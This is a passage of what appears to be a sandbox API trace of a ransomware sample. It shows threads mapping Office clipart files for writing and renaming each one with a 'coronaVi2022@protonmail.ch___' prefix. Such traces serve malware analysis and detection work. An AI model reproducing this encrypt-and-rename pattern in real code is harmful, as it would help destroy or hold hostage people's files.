	[0104.561] RtlExitUserThread (Status=0x0) 

Thread:
	id = 824
	os_tid = 0x1d4c

	[0104.564] _alloca_probe () returned 0x40328a
	[0104.564] GetCurrentThreadId () returned 0x1d4c
	[0104.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.jpg", dwFileAttributes=0x80) returned 1
	[0104.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf90
	[0104.565] GetFileSizeEx (in: hFile=0xf90, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=29335) returned 1
	[0104.566] CreateFileMappingA (hFile=0xf90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x729d, lpName=0x0) returned 0xf94
	[0104.566] MapViewOfFile (hFileMappingObject=0xf94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.572] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.572] CloseHandle (hObject=0xf94) returned 1
	[0104.572] GetCurrentThreadId () returned 0x1d4c
	[0104.572] FlushFileBuffers (hFile=0xf90) returned 1
	[0104.578] CloseHandle (hObject=0xf90) returned 1
	[0104.578] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02069J.jpg") returned 97
	[0104.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02069J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02069j.jpg")) returned 1
	[0104.579] free (_Block=0x51f60a0) 
	[0104.579] RtlExitUserThread (Status=0x0) 

Thread:
	id = 825
	os_tid = 0x1d50

	[0104.575] _alloca_probe () returned 0x40328a
	[0104.575] GetCurrentThreadId () returned 0x1d50
	[0104.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.bmp", dwFileAttributes=0x80) returned 1
	[0104.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf98
	[0104.577] GetFileSizeEx (in: hFile=0xf98, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=32184) returned 1
	[0104.577] CreateFileMappingA (hFile=0xf98, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xf9c
	[0104.577] MapViewOfFile (hFileMappingObject=0xf9c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.585] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.586] CloseHandle (hObject=0xf9c) returned 1
	[0104.586] GetCurrentThreadId () returned 0x1d50
	[0104.586] FlushFileBuffers (hFile=0xf98) returned 1
	[0104.624] CloseHandle (hObject=0xf98) returned 1
	[0104.624] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02071U.bmp") returned 97
	[0104.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02071U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02071u.bmp")) returned 1
	[0104.625] free (_Block=0x51f5098) 
	[0104.625] RtlExitUserThread (Status=0x0) 

Thread:
	id = 826
	os_tid = 0x1d54

	[0104.627] _alloca_probe () returned 0x40328a
	[0104.627] GetCurrentThreadId () returned 0x1d54
	[0104.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.bmp", dwFileAttributes=0x80) returned 1
	[0104.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf9c
	[0104.629] GetFileSizeEx (in: hFile=0xf9c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0104.629] CreateFileMappingA (hFile=0xf9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xf90
	[0104.629] MapViewOfFile (hFileMappingObject=0xf90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.635] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.636] CloseHandle (hObject=0xf90) returned 1
	[0104.636] GetCurrentThreadId () returned 0x1d54
	[0104.636] FlushFileBuffers (hFile=0xf9c) returned 1
	[0104.639] CloseHandle (hObject=0xf9c) returned 1
	[0104.639] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02074U.bmp") returned 97
	[0104.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02074U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02074u.bmp")) returned 1
	[0104.640] free (_Block=0x51f5098) 
	[0104.640] RtlExitUserThread (Status=0x0) 

Thread:
	id = 827
	os_tid = 0x1d58

	[0104.678] _alloca_probe () returned 0x40328a
	[0104.679] GetCurrentThreadId () returned 0x1d58
	[0104.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.bmp", dwFileAttributes=0x80) returned 1
	[0104.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf90
	[0104.680] GetFileSizeEx (in: hFile=0xf90, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0104.680] CreateFileMappingA (hFile=0xf90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xfa0
	[0104.680] MapViewOfFile (hFileMappingObject=0xfa0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0104.687] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0104.687] CloseHandle (hObject=0xfa0) returned 1
	[0104.687] GetCurrentThreadId () returned 0x1d58
	[0104.687] FlushFileBuffers (hFile=0xf90) returned 1
	[0104.702] CloseHandle (hObject=0xf90) returned 1
	[0104.702] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02208U.bmp") returned 97
	[0104.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02208U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02208u.bmp")) returned 1
	[0104.703] free (_Block=0x51f0070) 
	[0104.703] RtlExitUserThread (Status=0x0) 

Thread:
	id = 828
	os_tid = 0x1d5c

	[0104.690] _alloca_probe () returned 0x40328a
	[0104.690] GetCurrentThreadId () returned 0x1d5c
	[0104.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.bmp", dwFileAttributes=0x80) returned 1
	[0104.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfa4
	[0104.691] GetFileSizeEx (in: hFile=0xfa4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=32184) returned 1
	[0104.691] CreateFileMappingA (hFile=0xfa4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xfa8
	[0104.691] MapViewOfFile (hFileMappingObject=0xfa8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.700] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.701] CloseHandle (hObject=0xfa8) returned 1
	[0104.701] GetCurrentThreadId () returned 0x1d5c
	[0104.701] FlushFileBuffers (hFile=0xfa4) returned 1
	[0104.705] CloseHandle (hObject=0xfa4) returned 1
	[0104.705] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02223U.bmp") returned 97
	[0104.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02223U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02223u.bmp")) returned 1
	[0104.706] free (_Block=0x51f90b8) 
	[0104.706] RtlExitUserThread (Status=0x0) 

Thread:
	id = 829
	os_tid = 0x1d60

	[0104.708] _alloca_probe () returned 0x40328a
	[0104.708] GetCurrentThreadId () returned 0x1d60
	[0104.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.bmp", dwFileAttributes=0x80) returned 1
	[0104.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf90
	[0104.709] GetFileSizeEx (in: hFile=0xf90, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0104.709] CreateFileMappingA (hFile=0xf90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xfa8
	[0104.709] MapViewOfFile (hFileMappingObject=0xfa8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.716] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.717] CloseHandle (hObject=0xfa8) returned 1
	[0104.717] GetCurrentThreadId () returned 0x1d60
	[0104.717] FlushFileBuffers (hFile=0xf90) returned 1
	[0104.719] CloseHandle (hObject=0xf90) returned 1
	[0104.719] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02291U.bmp") returned 97
	[0104.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02291U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02291u.bmp")) returned 1
	[0104.720] free (_Block=0x51f60a0) 
	[0104.720] RtlExitUserThread (Status=0x0) 

Thread:
	id = 830
	os_tid = 0x1d64

	[0104.721] _alloca_probe () returned 0x40328a
	[0104.722] GetCurrentThreadId () returned 0x1d64
	[0104.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.bmp", dwFileAttributes=0x80) returned 1
	[0104.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfa8
	[0104.722] GetFileSizeEx (in: hFile=0xfa8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31968) returned 1
	[0104.722] CreateFileMappingA (hFile=0xfa8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xfac
	[0104.722] MapViewOfFile (hFileMappingObject=0xfac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0104.729] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0104.729] CloseHandle (hObject=0xfac) returned 1
	[0104.729] GetCurrentThreadId () returned 0x1d64
	[0104.729] FlushFileBuffers (hFile=0xfa8) returned 1
	[0104.731] CloseHandle (hObject=0xfa8) returned 1
	[0104.731] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02398U.bmp") returned 97
	[0104.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02398U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02398u.bmp")) returned 1
	[0104.731] free (_Block=0x51f3088) 
	[0104.731] RtlExitUserThread (Status=0x0) 

Thread:
	id = 831
	os_tid = 0x1d68

	[0104.733] _alloca_probe () returned 0x40328a
	[0104.734] GetCurrentThreadId () returned 0x1d68
	[0104.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.jpg", dwFileAttributes=0x80) returned 1
	[0104.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfac
	[0104.734] GetFileSizeEx (in: hFile=0xfac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3541) returned 1
	[0104.734] CreateFileMappingA (hFile=0xfac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd9, lpName=0x0) returned 0xfb0
	[0104.734] MapViewOfFile (hFileMappingObject=0xfb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.736] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.736] CloseHandle (hObject=0xfb0) returned 1
	[0104.736] GetCurrentThreadId () returned 0x1d68
	[0104.736] FlushFileBuffers (hFile=0xfac) returned 1
	[0104.740] CloseHandle (hObject=0xfac) returned 1
	[0104.740] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02412K.jpg") returned 97
	[0104.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02412K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02412k.jpg")) returned 1
	[0104.741] free (_Block=0x51f0070) 
	[0104.741] RtlExitUserThread (Status=0x0) 

Thread:
	id = 832
	os_tid = 0x1d6c

	[0104.738] _alloca_probe () returned 0x40328a
	[0104.739] GetCurrentThreadId () returned 0x1d6c
	[0104.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.bmp", dwFileAttributes=0x80) returned 1
	[0104.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfb4
	[0104.739] GetFileSizeEx (in: hFile=0xfb4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31968) returned 1
	[0104.739] CreateFileMappingA (hFile=0xfb4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xfb8
	[0104.739] MapViewOfFile (hFileMappingObject=0xfb8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.749] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.750] CloseHandle (hObject=0xfb8) returned 1
	[0104.750] GetCurrentThreadId () returned 0x1d6c
	[0104.750] FlushFileBuffers (hFile=0xfb4) returned 1
	[0105.290] CloseHandle (hObject=0xfb4) returned 1
	[0105.290] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02417U.bmp") returned 97
	[0105.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02417U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02417u.bmp")) returned 1
	[0105.291] free (_Block=0x51f80b0) 
	[0105.291] RtlExitUserThread (Status=0x0) 

Thread:
	id = 833
	os_tid = 0x1d70

	[0104.752] _alloca_probe () returned 0x40328a
	[0104.753] GetCurrentThreadId () returned 0x1d70
	[0104.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.bmp", dwFileAttributes=0x80) returned 1
	[0104.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfac
	[0104.753] GetFileSizeEx (in: hFile=0xfac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31752) returned 1
	[0104.753] CreateFileMappingA (hFile=0xfac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c0f, lpName=0x0) returned 0xfbc
	[0104.754] MapViewOfFile (hFileMappingObject=0xfbc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.760] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.760] CloseHandle (hObject=0xfbc) returned 1
	[0104.760] GetCurrentThreadId () returned 0x1d70
	[0104.760] FlushFileBuffers (hFile=0xfac) returned 1
	[0104.764] CloseHandle (hObject=0xfac) returned 1
	[0104.765] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02466U.bmp") returned 97
	[0104.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02466U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02466u.bmp")) returned 1
	[0104.766] free (_Block=0x51f3088) 
	[0104.766] RtlExitUserThread (Status=0x0) 

Thread:
	id = 834
	os_tid = 0x1d74

	[0104.763] _alloca_probe () returned 0x40328a
	[0104.763] GetCurrentThreadId () returned 0x1d74
	[0104.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.bmp", dwFileAttributes=0x80) returned 1
	[0104.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfc0
	[0104.764] GetFileSizeEx (in: hFile=0xfc0, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=18684) returned 1
	[0104.764] CreateFileMappingA (hFile=0xfc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4907, lpName=0x0) returned 0xfc4
	[0104.764] MapViewOfFile (hFileMappingObject=0xfc4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0104.770] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0104.770] CloseHandle (hObject=0xfc4) returned 1
	[0104.770] GetCurrentThreadId () returned 0x1d74
	[0104.770] FlushFileBuffers (hFile=0xfc0) returned 1
	[0104.772] CloseHandle (hObject=0xfc0) returned 1
	[0104.772] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02470U.bmp") returned 97
	[0104.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02470U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02470u.bmp")) returned 1
	[0104.773] free (_Block=0x51f0070) 
	[0104.773] RtlExitUserThread (Status=0x0) 

Thread:
	id = 835
	os_tid = 0x1d78

	[0104.774] _alloca_probe () returned 0x40328a
	[0104.775] GetCurrentThreadId () returned 0x1d78
	[0104.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.bmp", dwFileAttributes=0x80) returned 1
	[0104.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfc4
	[0104.776] GetFileSizeEx (in: hFile=0xfc4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0104.776] CreateFileMappingA (hFile=0xfc4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xfac
	[0104.776] MapViewOfFile (hFileMappingObject=0xfac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.895] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.895] CloseHandle (hObject=0xfac) returned 1
	[0104.895] GetCurrentThreadId () returned 0x1d78
	[0104.895] FlushFileBuffers (hFile=0xfc4) returned 1
	[0104.934] CloseHandle (hObject=0xfc4) returned 1
	[0104.934] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02503U.bmp") returned 97
	[0104.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02503U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02503u.bmp")) returned 1
	[0104.935] free (_Block=0x51f0070) 
	[0104.935] RtlExitUserThread (Status=0x0) 

Thread:
	id = 836
	os_tid = 0x1d7c

	[0104.938] _alloca_probe () returned 0x40328a
	[0104.938] GetCurrentThreadId () returned 0x1d7c
	[0104.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.jpg", dwFileAttributes=0x80) returned 1
